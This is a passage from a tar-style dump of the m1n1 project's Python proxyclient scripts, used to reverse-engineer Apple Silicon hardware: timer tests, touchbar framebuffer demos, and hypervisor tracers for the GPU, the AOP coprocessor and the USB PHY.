3) | (1 << 4)) print(" P:") run_test(CNTP_CTL_EL0, CNTP_TVAL_EL0) print(" V:") run_test(CNTV_CTL_EL0, CNTV_TVAL_EL0) def test_guest_timers(): u.msr(DAIF, 0) print("Testing guest timers...") print(" TGE = 1, vGIC mode=0, timers unmasked") u.msr(HCR_EL2, (u.mrs(HCR_EL2) | TGE) | (1 << 3) | (1 << 4)) u.msr(HACR_EL2, 0) u.msr(HV_VTMR_CTL, 3) print(" P:") #run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") #run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) print(" TGE = 1, vGIC mode=0, timers masked") u.msr(HV_VTMR_CTL, 0) print(" P:") run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) print(" TGE = 0, vGIC mode=0, timers unmasked") u.msr(HCR_EL2, (u.mrs(HCR_EL2) & ~TGE) | (1 << 3) | (1 << 4)) u.msr(HACR_EL2, 0) u.msr(HV_VTMR_CTL, 3) print(" P:") run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) print(" TGE = 0, vGIC mode=0, timers masked") u.msr(HV_VTMR_CTL, 0) print(" P:") run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) print(" TGE = 0, vGIC mode=1, timers unmasked") u.msr(HCR_EL2, (u.mrs(HCR_EL2) & ~TGE) | (1 << 3) | (1 << 4)) u.msr(HACR_EL2, 1<<20) u.msr(HV_VTMR_CTL, 3) print(" P:") run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) print(" TGE = 0, vGIC mode=1, timers masked") u.msr(HV_VTMR_CTL, 0) print(" P:") run_test(CNTP_CTL_EL02, CNTP_TVAL_EL02) print(" V:") run_test(CNTV_CTL_EL02, CNTV_TVAL_EL02) return freq = u.mrs(CNTFRQ_EL0) print("Timer freq: %d" % freq) test_hv_timers() test_guest_timers() m1n1-1.4.11/proxyclient/experiments/touchbar_apple_prepare.sh000077500000000000000000000003431453754430200243510ustar00rootroot00000000000000#!/bin/bash if [ ! -f bad_apple.webm ] ; then yt-dlp -o bad_apple 'https://www.youtube.com/watch?v=UkgK8eUdpAo' fi ffmpeg -i bad_apple.webm -vf scale=80:60,rotate='PI/2:oh=iw:ow=ih+4' -f rawvideo -pix_fmt rgba -y out.bin m1n1-1.4.11/proxyclient/experiments/touchbar_bad_apple.py000077500000000000000000000042231453754430200234600ustar00rootroot00000000000000#!/usr/bin/env python3 import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.dart import DART from m1n1.utils import * dart = DART.from_adt(u, "arm-io/dart-dispdfr") width = 2040 height = 60 stride = 64 def make_fb(): width = 2040 fb_size = align_up(width * stride * 4, 8 * 0x4000) buf = u.memalign(0x4000, fb_size) return (dart.iomap(0, buf, fb_size), buf) width = 2040 fb_size = align_up(width * stride * 4, 8 * 0x4000) buf_mask = u.memalign(0x4000, fb_size) p.memset32(buf_mask, 0, fb_size) p.memset32(buf_mask, 0xFFFFFFFF, 10*stride) iova_mask = dart.iomap(0, buf_mask, fb_size) p.write32(0x228202200, iova_mask) dart.dump_device(0) #enable backlight p.write32(0x228600070,0x8051) p.write32(0x22860006c,0x229) #enable fifo and vblank p.write32(0x228400100, 0x613) # Color correction magic (idk why but it makes colors actually work) p.write32(0x228202074, 0x1) p.write32(0x228202028, 0x10) p.write32(0x22820202c, 0x1) p.write32(0x228202020, 0x1) p.write32(0x228202034, 0x1) #layer enable p.write32(0x228204020, 0x1) p.write32(0x228204068, 0x1) p.write32(0x2282040b4, 0x1) p.write32(0x2282040f4, 0x1) p.write32(0x2282040ac, 0x100000) p.write32(0x228201038, 0x10001) #layer size p.write32(0x228204048, height << 16 | width) p.write32(0x22820404c, height << 16 | width) p.write32(0x22820407c, height << 16 | width) p.write32(0x228204054, height << 16 | width) #global size p.write32(0x228201030, height << 16 | width) #some more color correction p.write32(0x22820402c, 0x53e4001) def make_pipe(iova): pipe = [ 0x20014038, 0x2a | (stride * 4), 0x20014030, 0x2a | iova, ] pipe = [0xc0000001 | (len(pipe) << 16)] + pipe return pipe def flush(pipe): for i in pipe: p.write32(0x2282010c0, i) def play(f): frame = 0 iova, base = make_fb() while True: data = f.read(80 * 64 * 4) if not data: break for i in range(25): iface.writemem(base + i * 80 * 64 * 4, data) flush(make_pipe(iova)) time.sleep(0.033) frame += 1 with open('out.bin', 'rb') as f: play(f) m1n1-1.4.11/proxyclient/experiments/touchbar_rainbow.py000077500000000000000000000037421453754430200232170ustar00rootroot00000000000000#!/usr/bin/env python3 import sys, pathlib sys.path.append(str(pathlib.Path(__file__).resolve().parents[1])) from m1n1.setup import * from m1n1.hw.dart import DART from m1n1.utils import * dart = DART.from_adt(u, "arm-io/dart-dispdfr") width = 2040 height = 60 stride = 64 fb_size = align_up(width * stride * 4, 8 * 0x4000) buf = u.memalign(0x4000, fb_size) colors = [0xDD0000, 0xFE6230, 0xFEF600, 0x00BB00, 0x009BFE, 0x000083, 0x30009B] for i, color in enumerate(colors): lines = width // len(colors) offset = i * lines * stride * 4 for j in range(lines): p.memset32(buf + offset + j * stride * 4, color, height * 2) p.memset32(buf + offset + j * stride * 4 + height * 2, 0xffffffff^color, height * 2) iova = dart.iomap(0, buf, fb_size) buf_mask = u.memalign(0x4000, fb_size) p.memset32(buf_mask, 0xFFFFFFFF, fb_size) iova_mask = dart.iomap(0, buf_mask, fb_size) p.write32(0x228202200, iova_mask) dart.dump_device(0) #enable backlight p.write32(0x228600070,0x8051) p.write32(0x22860006c,0x229) #enable fifo and vblank p.write32(0x228400100, 0x613) # Color correction magic (idk why but it makes colors actually work) p.write32(0x228202074, 0x1) p.write32(0x228202028, 0x10) p.write32(0x22820202c, 0x1) p.write32(0x228202020, 0x1) p.write32(0x228202034, 0x1) #layer enable p.write32(0x228204020, 0x1) p.write32(0x228204068, 0x1) p.write32(0x2282040b4, 0x1) p.write32(0x2282040f4, 0x1) p.write32(0x2282040ac, 0x100000) p.write32(0x228201038, 0x10001) #layer size p.write32(0x228204048, height << 16 | width) p.write32(0x22820404c, height << 16 | width) p.write32(0x22820407c, height << 16 | width) p.write32(0x228204054, height << 16 | width) #global size p.write32(0x228201030, height << 16 | width) #some more color correction p.write32(0x22820402c, 0x53e4001) pipe = [ 0x20014038, 0x2a | (stride * 4), 0x20014030, 0x2a | iova, ] pipe = [0xc0000001 | (len(pipe) << 16)] + pipe def flush(pipe): for i in pipe: p.write32(0x2282010c0, i) flush(pipe) m1n1-1.4.11/proxyclient/hv/000077500000000000000000000000001453754430200153565ustar00rootroot00000000000000m1n1-1.4.11/proxyclient/hv/README.md000066400000000000000000000002261453754430200166350ustar00rootroot00000000000000## m1n1 hypervisor scripts This directory contains scripts that can be executed to configure the hypervisor using the `-m` option to `run_guest.py`. m1n1-1.4.11/proxyclient/hv/trace_agx.py000066400000000000000000000110741453754430200176700ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import datetime from m1n1.constructutils import show_struct_trace, Ver from m1n1.utils import * Ver.set_version(hv.u) trace_device("/arm-io/sgx", False) trace_device("/arm-io/pmp", False) trace_device("/arm-io/gfx-asc", False) from m1n1.trace.agx import AGXTracer AGXTracer = AGXTracer._reloadcls(True) agx_tracer = AGXTracer(hv, "/arm-io/gfx-asc", verbose=1) agx_tracer.trace_usermap = False agx_tracer.trace_kernmap = False agx_tracer.trace_userva = False agx_tracer.trace_kernva = False agx_tracer.redump = False agx_tracer.cmd_dump_dir = "gfxdumps" #agx_tracer.encoder_id_filter = lambda i: (i >> 16) == 0xc0de agx_tracer.start() def resume_tracing(ctx): fname = f"{datetime.datetime.now().isoformat()}.log" hv.set_logfile(open(f"gfxlogs/{fname}", "a")) agx_tracer.resume() return True def pause_tracing(ctx): agx_tracer.pause() hv.set_logfile(None) return True hv.add_hvcall(100, resume_tracing) hv.add_hvcall(101, pause_tracing) mode = TraceMode.SYNC trace_range(irange(agx_tracer.gpu_region, agx_tracer.gpu_region_size), mode=mode, name="gpu_region") trace_range(irange(agx_tracer.gfx_shared_region, agx_tracer.gfx_shared_region_size), mode=mode, name="gfx_shared_region") ## Trace the entire mmio range around the GPU node = hv.adt["/arm-io/sgx"] addr, size = node.get_reg(0) hv.trace_range(irange(addr, 0x1000000), TraceMode.SYNC, name="sgx") #hv.trace_range(irange(addr, 0x1000000), TraceMode.OFF, name="sgx") hv.trace_range(irange(0x204017030, 8), TraceMode.SYNC, name="faultcode") trace_device("/arm-io/sgx", True) trace_device("/arm-io/gfx-asc", False) def trace_all_gfx_io(): # These are all the IO ranges that get mapped into the UAT iommu pagetable # Trace them so we can see if any of them are being written by the CPU # page (8): fa010020000 ... fa010023fff -> 000000020e100000 [8000020e100447] hv.trace_range(irange(0x20e100000, 0x4000), mode=TraceMode.SYNC) # page (10): fa010028000 ... fa01002bfff -> 000000028e104000 [c000028e104447] hv.trace_range(irange(0x20e100000, 0x4000), mode=TraceMode.SYNC) # page (22): fa010058000 ... fa01005bfff -> 000000028e494000 [8000028e494447] hv.trace_range(irange(0x28e494000, 0x4000), mode=TraceMode.SYNC) # page (28): fa010070000 ... fa010073fff -> 0000000204d60000 [c0000204d60447] hv.trace_range(irange(0x204d60000, 0x4000), mode=TraceMode.SYNC) # page (30): fa010078000 ... fa01007bfff -> 0000000200000000 [c0000200000447] # to # page (83): fa01014c000 ... fa01014ffff -> 00000002000d4000 [c00002000d4447] hv.trace_range(irange(0x200000000, 0xd5000), mode=TraceMode.SYNC) # page (84): fa010150000 ... fa010153fff -> 0000000201000000 [c0000201000447] #page (137): fa010224000 ... fa010227fff -> 00000002010d4000 [c00002010d4447] hv.trace_range(irange(0x201000000, 0xd5000), mode=TraceMode.SYNC) # page (138): fa010228000 ... fa01022bfff -> 0000000202000000 [c0000202000447] # page (191): fa0102fc000 ... fa0102fffff -> 00000002020d4000 [c00002020d4447] hv.trace_range(irange(0x202000000, 0xd5000), mode=TraceMode.SYNC) # page (192): fa010300000 ... fa010303fff -> 0000000203000000 [c0000203000447] hv.trace_range(irange(0x203000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x204000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x205000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x206000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x207000000, 0xd5000), mode=TraceMode.SYNC) # page (464): fa010740000 ... fa010743fff -> 00000002643c4000 [c00002643c4447] hv.trace_range(irange(0x2643c4000, 0x4000), mode=TraceMode.SYNC) # page (466): fa010748000 ... fa01074bfff -> 000000028e3d0000 [c000028e3d0447] hv.trace_range(irange(0x28e3d0000, 0x4000), mode=TraceMode.SYNC) # page (468): fa010750000 ... fa010753fff -> 000000028e3c0000 [8000028e3c0447] hv.trace_range(irange(0x28e3c0000, 0x4000), mode=TraceMode.SYNC) # page (8): f9100020000 ... f9100023fff -> 0000000406000000 [60000406000447] # page (263): f910041c000 ... f910041ffff -> 00000004063fc000 [600004063fc447] hv.trace_range(irange(0x2643c4000, 0x63fc000), mode=TraceMode.SYNC) def trace_gpu_irqs(): # Trace sgx interrupts node = hv.adt["/arm-io/sgx"] for irq in getattr(node, "interrupts"): hv.trace_irq(f"{node.name} {irq}", irq, 1, hv.IRQTRACE_IRQ) ## Trace gfx-asc interrupts #node = hv.adt["/arm-io/gfx-asc"] #for irq in getattr(node, "interrupts"): #hv.trace_irq(f"{node.name} {irq}", irq, 1, hv.IRQTRACE_IRQ) trace_gpu_irqs() m1n1-1.4.11/proxyclient/hv/trace_agx_defer.py000066400000000000000000000023011453754430200210260ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import datetime from m1n1.constructutils import show_struct_trace, Ver from m1n1.utils import * Ver.set_version(hv.u) from m1n1.trace.agx import AGXTracer AGXTracer = AGXTracer._reloadcls(True) agx_tracer = AGXTracer(hv, "/arm-io/gfx-asc", verbose=1) agx_tracer.pause_after_init = True agx_tracer.trace_usermap = False agx_tracer.trace_kernmap = False agx_tracer.trace_userva = False agx_tracer.trace_kernva = False agx_tracer.redump = True agx_tracer.exclude_context_id = 1 agx_tracer.cmd_dump_dir = "gfxdumps" agx_tracer.start() def resume_tracing(ctx): fname = f"{datetime.datetime.now().isoformat()}.log" hv.set_logfile(open(f"gfxlogs/{fname}", "a")) agx_tracer.start() agx_tracer.resume() return True def pause_tracing(ctx): agx_tracer.pause() agx_tracer.stop() hv.set_logfile(None) return True hv.add_hvcall(100, resume_tracing) hv.add_hvcall(101, pause_tracing) trace_device("/arm-io/sgx", True) #trace_device("/arm-io/mcc", True) node = hv.adt["/arm-io/sgx"] addr, size = node.get_reg(0) hv.trace_range(irange(addr, 0x1000000), TraceMode.SYNC, name="sgx") hv.trace_range(irange(addr + 0x2408000, 0x4000), TraceMode.OFF, name="sgx") m1n1-1.4.11/proxyclient/hv/trace_agx_pwr.py000066400000000000000000000143761453754430200205700ustar00rootroot00000000000000# SPDX-License-Identifier: MIT import datetime from m1n1.constructutils import show_struct_trace, Ver from m1n1.utils import * Ver.set_version(hv.u) trace_device("/arm-io/sgx", True) #trace_device("/arm-io/pmp", True) #trace_device("/arm-io/gfx-asc", False) from m1n1.trace.agx import AGXTracer AGXTracer = AGXTracer._reloadcls(True) agx_tracer = AGXTracer(hv, "/arm-io/gfx-asc", verbose=1) agx_tracer.trace_kernmap = False agx_tracer.trace_kernva = False agx_tracer.trace_usermap = False sgx = hv.adt["/arm-io/sgx"] freqs = [] voltages = [] for j in range(8): for i, v in enumerate(voltages): if j != 0: v = 1 sgx.perf_states[i+j*len(voltages)].freq = freqs[i] * 1000000 sgx.perf_states[i+j*len(voltages)].volt = v sgx.perf_states_sram[i+j*len(voltages)].freq = freqs[i] * 1000000 sgx.perf_states_sram[i+j*len(voltages)].volt = 1 if j >= 1: getattr(sgx, f"perf_states{j}")[i].freq = freqs[i] * 1000000 getattr(sgx, f"perf_states{j}")[i].volt = v getattr(sgx, f"perf_states_sram{j}")[i].freq = freqs[i] * 1000000 getattr(sgx, f"perf_states_sram{j}")[i].volt = 1 def after_init(): plat = hv.adt.compatible[0].lower() fname = f"initdata/{datetime.datetime.now().isoformat()}-{plat}.log" idlog = open(fname, "w") print(f"Platform: {plat}", file=idlog) fw = hv.adt["/chosen"].firmware_version.split(b"\0")[0].decode("ascii") print(f"Firmware: {fw}", file=idlog) sfw = hv.adt["/chosen"].system_firmware_version print(f"System firmware: {sfw}", file=idlog) print(file=idlog) print("ADT SGX:", file=idlog) print(sgx, file=idlog) open("adt_hv.txt","w").write(str(hv.adt)) print("InitData:", file=idlog) print(agx_tracer.state.initdata, file=idlog) power = [int(i) for i in agx_tracer.state.initdata.regionB.hwdata_b.rel_max_powers] volt = [int(i[0]) for i in agx_tracer.state.initdata.regionB.hwdata_b.voltages] freq = [int(i) for i in agx_tracer.state.initdata.regionB.hwdata_b.frequencies] print("p/v", [p/max(1, v) for p,v in zip(power,volt)]) print("p/f", [p/max(1, f) for p,f in zip(power,freq)]) print("p/v2", [p/max(1, (v*v)) for p,v in zip(power,volt)]) hv.reboot() agx_tracer.after_init_hook = after_init #agx_tracer.encoder_id_filter = lambda i: (i >> 16) == 0xc0de agx_tracer.start() def resume_tracing(ctx): fname = f"{datetime.datetime.now().isoformat()}.log" hv.set_logfile(open(f"gfxlogs/{fname}", "a")) agx_tracer.resume() return True def pause_tracing(ctx): agx_tracer.pause() hv.set_logfile(None) return True hv.add_hvcall(100, resume_tracing) hv.add_hvcall(101, pause_tracing) mode = TraceMode.SYNC trace_range(irange(agx_tracer.gpu_region, agx_tracer.gpu_region_size), mode=mode, name="gpu_region") trace_range(irange(agx_tracer.gfx_shared_region, agx_tracer.gfx_shared_region_size), mode=mode, name="gfx_shared_region") ## Trace the entire mmio range around the GPU node = hv.adt["/arm-io/sgx"] addr, size = node.get_reg(0) hv.trace_range(irange(addr, 0x1000000), TraceMode.SYNC, name="sgx") #hv.trace_range(irange(addr, 0x1000000), TraceMode.OFF, name="sgx") hv.trace_range(irange(0x204017030, 8), TraceMode.SYNC, name="faultcode") trace_device("/arm-io/sgx", True) trace_device("/arm-io/gfx-asc", False) def trace_all_gfx_io(): # These are all the IO ranges that get mapped into the UAT iommu pagetable # Trace them so we can see if any of them are being written by the CPU # page (8): fa010020000 ... fa010023fff -> 000000020e100000 [8000020e100447] hv.trace_range(irange(0x20e100000, 0x4000), mode=TraceMode.SYNC) # page (10): fa010028000 ... fa01002bfff -> 000000028e104000 [c000028e104447] hv.trace_range(irange(0x20e100000, 0x4000), mode=TraceMode.SYNC) # page (22): fa010058000 ... fa01005bfff -> 000000028e494000 [8000028e494447] hv.trace_range(irange(0x28e494000, 0x4000), mode=TraceMode.SYNC) # page (28): fa010070000 ... fa010073fff -> 0000000204d60000 [c0000204d60447] hv.trace_range(irange(0x204d60000, 0x4000), mode=TraceMode.SYNC) # page (30): fa010078000 ... fa01007bfff -> 0000000200000000 [c0000200000447] # to # page (83): fa01014c000 ... fa01014ffff -> 00000002000d4000 [c00002000d4447] hv.trace_range(irange(0x200000000, 0xd5000), mode=TraceMode.SYNC) # page (84): fa010150000 ... fa010153fff -> 0000000201000000 [c0000201000447] #page (137): fa010224000 ... fa010227fff -> 00000002010d4000 [c00002010d4447] hv.trace_range(irange(0x201000000, 0xd5000), mode=TraceMode.SYNC) # page (138): fa010228000 ... fa01022bfff -> 0000000202000000 [c0000202000447] # page (191): fa0102fc000 ... fa0102fffff -> 00000002020d4000 [c00002020d4447] hv.trace_range(irange(0x202000000, 0xd5000), mode=TraceMode.SYNC) # page (192): fa010300000 ... fa010303fff -> 0000000203000000 [c0000203000447] hv.trace_range(irange(0x203000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x204000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x205000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x206000000, 0xd5000), mode=TraceMode.SYNC) hv.trace_range(irange(0x207000000, 0xd5000), mode=TraceMode.SYNC) # page (464): fa010740000 ... fa010743fff -> 00000002643c4000 [c00002643c4447] hv.trace_range(irange(0x2643c4000, 0x4000), mode=TraceMode.SYNC) # page (466): fa010748000 ... fa01074bfff -> 000000028e3d0000 [c000028e3d0447] hv.trace_range(irange(0x28e3d0000, 0x4000), mode=TraceMode.SYNC) # page (468): fa010750000 ... fa010753fff -> 000000028e3c0000 [8000028e3c0447] hv.trace_range(irange(0x28e3c0000, 0x4000), mode=TraceMode.SYNC) # page (8): f9100020000 ... f9100023fff -> 0000000406000000 [60000406000447] # page (263): f910041c000 ... f910041ffff -> 00000004063fc000 [600004063fc447] hv.trace_range(irange(0x2643c4000, 0x63fc000), mode=TraceMode.SYNC) def trace_gpu_irqs(): # Trace sgx interrupts node = hv.adt["/arm-io/sgx"] for irq in getattr(node, "interrupts"): hv.trace_irq(f"{node.name} {irq}", irq, 1, hv.IRQTRACE_IRQ) ## Trace gfx-asc interrupts #node = hv.adt["/arm-io/gfx-asc"] #for irq in getattr(node, "interrupts"): #hv.trace_irq(f"{node.name} {irq}", irq, 1, hv.IRQTRACE_IRQ) trace_gpu_irqs() m1n1-1.4.11/proxyclient/hv/trace_all.py000066400000000000000000000011411453754430200176530ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.utils import irange # Map the entire MMIO range as traceable for r in hv.adt["/arm-io"].ranges: trace_range(irange(r.parent_addr, r.size), mode=TraceMode.ASYNC) # Skip some noisy devices try: trace_device("/arm-io/usb-drd0", False) except KeyError: pass try: trace_device("/arm-io/usb-drd1", False) except KeyError: pass try: trace_device("/arm-io/uart2", False) except KeyError: pass trace_device("/arm-io/error-handler", False) trace_device("/arm-io/aic", False) trace_device("/arm-io/spi1", False) trace_device("/arm-io/pmgr", False) m1n1-1.4.11/proxyclient/hv/trace_all_more.py000066400000000000000000000010201453754430200206710ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.utils import irange # Map the entire MMIO range as traceable for r in hv.adt["/arm-io"].ranges: trace_range(irange(r.parent_addr, r.size), mode=TraceMode.ASYNC) # Skip some noisy devices try: trace_device("/arm-io/usb-drd0", False) except KeyError: pass try: trace_device("/arm-io/usb-drd1", False) except KeyError: pass try: trace_device("/arm-io/uart2", False) except KeyError: pass trace_device("/arm-io/aic", False) trace_device("/arm-io/spi1", False) m1n1-1.4.11/proxyclient/hv/trace_aop.py000066400000000000000000000247171453754430200177000ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.trace import Tracer from m1n1.trace.dart import DARTTracer from m1n1.trace.asc import ASCTracer, EP, EPState, msg, msg_log, DIR, EPContainer from m1n1.utils import * from m1n1.constructutils import * from m1n1.fw.afk.rbep import * from m1n1.fw.afk.epic import * from m1n1.fw.aop import * from m1n1.fw.aop.ipc import * import sys class AFKRingBufSniffer(AFKRingBuf): def __init__(self, ep, state, base, size): super().__init__(ep, base, size) self.state = state self.rptr = getattr(state, "rptr", 0) def update_rptr(self, rptr): self.state.rptr = rptr def update_wptr(self): raise NotImplementedError() def get_wptr(self): return struct.unpack("= 3: if True: self.log(f"===TX DATA=== epid={self.epid} rptr={self.txbuf.state.rptr:#x}") chexdump(data) self.log(f"===END DATA===") self.log("Backtrace on TX data:") self.hv.bt() self.handle_ipc(data, dir=">") return True Hello = msg_log(0xa3, DIR.TX) @msg(0x85, DIR.RX, AFKEPMessage) def Recv(self, msg): for data in self.rxbuf.read(): #if self.state.verbose >= 3: if True: self.log(f"===RX DATA=== epid={self.epid} rptr={self.rxbuf.state.rptr:#x}") chexdump(data) self.log(f"===END DATA===") self.handle_ipc(data, dir="<") return True def handle_ipc(self, data, dir=None): pass @msg(0x8a, DIR.RX, AFKEP_InitRB) def InitTX(self, msg): off = msg.OFFSET * AFKRingBuf.BLOCK_SIZE size = msg.SIZE * AFKRingBuf.BLOCK_SIZE self.state.txbuf_info = (off, size) self.create_bufs() @msg(0x8b, DIR.RX, AFKEP_InitRB) def InitRX(self, msg): off = msg.OFFSET * AFKRingBuf.BLOCK_SIZE size = msg.SIZE * AFKRingBuf.BLOCK_SIZE self.state.rxbuf_info = (off, size) self.create_bufs() class DummyAFKEp(AFKEp): def handle_ipc(self, data, dir=None): pass class EPICEp(AFKEp): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.pending_call = None self.pending_cmd = None def handle_hello(self, hdr, sub, fd): if sub.type != 0xc0: return False payload = fd.read() name = payload.split(b"\0")[0].decode("ascii") self.log(f"Hello! (endpoint {name})") return True def handle_notify(self, hdr, sub, fd): for calltype in CALLTYPES: if calltype.matches(hdr, sub): call = calltype.from_stream(fd) self.trace_call_early(call) self.pending_call = call return True return False def handle_reply(self, hdr, sub, fd): if self.pending_call is None: return False call = self.pending_call call.read_resp(fd) self.trace_call(call) self.pending_call = None return True def dispatch_ipc(self, dir, hdr, sub, fd): if sub.category == EPICCategory.COMMAND: return self.handle_notify(hdr, sub, fd) if dir == "<" and sub.category == EPICCategory.REPORT: return self.handle_hello(hdr, sub, fd) if dir == ">" and sub.category == EPICCategory.NOTIFY: return self.handle_notify(hdr, sub, fd) if dir == "<" and sub.category == EPICCategory.REPLY: return self.handle_reply(hdr, sub, fd) def handle_ipc(self, data, dir=None): fd = BytesIO(data) hdr = EPICHeader.parse_stream(fd) sub = EPICSubHeaderVer2.parse_stream(fd) if not getattr(self, 'VERBOSE', False): return self.log(f"{dir} 0x{hdr.channel:x} Type {hdr.type} Ver {hdr.version} Tag {hdr.seq}") self.log(f" Len {sub.length} Ver {sub.version} Cat {sub.category} Type {sub.type:#x} Ts {sub.timestamp:#x}") self.log(f" Unk1 {sub.unk1:#x} Unk2 {sub.unk2:#x}") if self.dispatch_ipc(dir, hdr, sub, fd): return def trace_call_early(self, call): # called at TX time if isinstance(call, IndirectCall): call.read_txbuf(self) def trace_call(self, call): if isinstance(call, IndirectCall): call.read_rxbuf(self) call = call.unwrap() call.dump(self.log) class SPUAppEp(EPICEp): SHORT = "SPUApp" class AccelEp(EPICEp): SHORT = "accel" class GyroEp(EPICEp): SHORT = "gyro" class LASEp(EPICEp): SHORT = "las" class WakeHintEp(EPICEp): SHORT = "wakehint" class UNK26Ep(EPICEp): SHORT = "unk26" class AudioEp(EPICEp): SHORT = "aop-audio" VERBOSE = True class VoiceTriggerEp(EPICEp): SHORT = "aop-voicetrigger" VERBOSE = True class AOPTracer(ASCTracer, AOPBase): ENDPOINTS = { 0x20: SPUAppEp, 0x21: AccelEp, 0x22: GyroEp, 0x24: LASEp, 0x25: WakeHintEp, 0x26: UNK26Ep, 0x27: AudioEp, 0x28: VoiceTriggerEp, } def __init__(self, hv, devpath, verbose=False): self.default_bootargs = None super().__init__(hv, devpath, verbose) self.u = hv.u AOPBase.__init__(self, hv.u, self.dev) def start(self, *args): self.default_bootargs = self.read_bootargs() super().start(*args) def w_CPU_CONTROL(self, val): if val.RUN: self.bootargs = self.read_bootargs() self.log("Bootargs patched by AP:") self.default_bootargs.dump_diff(self.bootargs, self.log) self.log("(End of list)") super().w_CPU_CONTROL(val) @classmethod def replay(cls, f, passthru=False): epmap = dict() epcont = EPContainer() class FakeASCTracer: def __init__(self): self.hv = None def log(self, str): print(str) asc_tracer = FakeASCTracer() for cls in cls.mro(): eps = getattr(cls, "ENDPOINTS", None) if eps is None: break for k, v in eps.items(): if k in epmap: continue ep = v(asc_tracer, k) epmap[k] = ep if getattr(epcont, ep.name, None): ep.name = f"{ep.name}{k:02x}" setattr(epcont, ep.name, ep) ep.start() def readdump(firstline, hdr, f): l = firstline assert hdr in l postscribe = l[l.index(hdr) + len(hdr):] annotation = dict([s.split("=") for s \ in postscribe.strip().split(" ")]) dump = [] for l in f: if "===END DATA===" in l: break dump.append(l) return chexundump("".join(dump)), annotation def read_txbuf(icall, ep): hdr = "===COMMAND TX DATA===" for l in f: if hdr in l: break data, annot = readdump(l, hdr, f) assert int(annot["addr"], 16) == icall.args.txbuf icall.txbuf = data def read_rxbuf(icall, ep): hdr = "===COMMAND RX DATA===" for l in f: if hdr in l: break data, annot = readdump(l, hdr, f) assert int(annot["addr"], 16) == icall.rets.rxbuf icall.rxbuf = data IndirectCall.read_rxbuf = read_rxbuf IndirectCall.read_txbuf = read_txbuf for l in f: if (rxhdr := "===RX DATA===") in l: dir = "<" hdr = rxhdr elif (txhdr := "===TX DATA===") in l: dir = ">" hdr = txhdr else: if passthru: print(l, end="") continue data, annot = readdump(l, hdr, f) epid = int(annot["epid"]) epmap[epid].handle_ipc(data, dir) if __name__ == "__main__": # We can replay traces by saving the textual output of live tracing # and then passing it to this script. with open(sys.argv[1]) as f: AOPTracer.replay(f) sys.exit(0) dart_aop_tracer = DARTTracer(hv, "/arm-io/dart-aop", verbose=4) dart_aop_tracer.start() dart_aop_base = u.adt["/arm-io/dart-aop"].get_reg(0)[0] #hv.trace_range(irange(*u.adt["/arm-io/dart-aop"].get_reg(1))) #hv.trace_range(irange(*u.adt["/arm-io/aop"].get_reg(1))) #hv.trace_range(irange(*u.adt["/arm-io/aop"].get_reg(3))) #hv.trace_range(irange(*u.adt["/arm-io/admac-aop-audio"].get_reg(0))) aop_tracer = AOPTracer(hv, "/arm-io/aop", verbose=1) aop_tracer.start(dart_aop_tracer.dart) m1n1-1.4.11/proxyclient/hv/trace_atc.py000066400000000000000000000031571453754430200176630ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from m1n1.hv import TraceMode from m1n1.hw.dwc3 import XhciRegs, Dwc3CoreRegs, PipehandlerRegs from m1n1.hw.atc import Usb2PhyRegs, AtcPhyRegs from m1n1.trace import ADTDevTracer from m1n1.utils import * class PhyTracer(ADTDevTracer): REGMAPS = [ Usb2PhyRegs, None, (AtcPhyRegs, 0x20000), (AtcPhyRegs, 0x0), (AtcPhyRegs, 0x2000), (AtcPhyRegs, 0x2200), (AtcPhyRegs, 0x2800), (AtcPhyRegs, 0x2A00), (AtcPhyRegs, 0x7000), (AtcPhyRegs, 0xA00), (AtcPhyRegs, 0x800), (AtcPhyRegs, 0xD000), (AtcPhyRegs, 0x14000), (AtcPhyRegs, 0xC000), (AtcPhyRegs, 0x13000), (AtcPhyRegs, 0xB000), (AtcPhyRegs, 0x12000), (AtcPhyRegs, 0x9000), (AtcPhyRegs, 0x10000), (AtcPhyRegs, 0x1000), (AtcPhyRegs, 0x50000), (AtcPhyRegs, 0x50200), (AtcPhyRegs, 0x54000), None, None, None, (AtcPhyRegs, 0xA000), (AtcPhyRegs, 0x11000), ] class Dwc3VerboseTracer(ADTDevTracer): REGMAPS = [XhciRegs, None, Dwc3CoreRegs, PipehandlerRegs] NAMES = ["xhci", None, "dwc-core", "pipehandler"] class Dwc3Tracer(ADTDevTracer): REGMAPS = [None, None, Dwc3CoreRegs, PipehandlerRegs] NAMES = [None, None, "dwc-core", "pipehandler"] PhyTracer = PhyTracer._reloadcls() Dwc3Tracer = Dwc3Tracer._reloadcls() Dwc3VerboseTracer = Dwc3VerboseTracer._reloadcls() phy_tracer = PhyTracer(hv, "/arm-io/atc-phy1", verbose=2) dwc3_tracer = Dwc3Tracer(hv, "/arm-io/usb-drd1", verbose=2) phy_tracer.start() dwc3_tracer.start() m1n1-1.4.11/proxyclient/hv/trace_cd3217.py000066400000000000000000000067131453754430200200200ustar00rootroot00000000000000# SPDX-License-Identifier: MIT from enum import Enum from m1n1.trace.i2c import I2CTracer, I2CDevTracer class 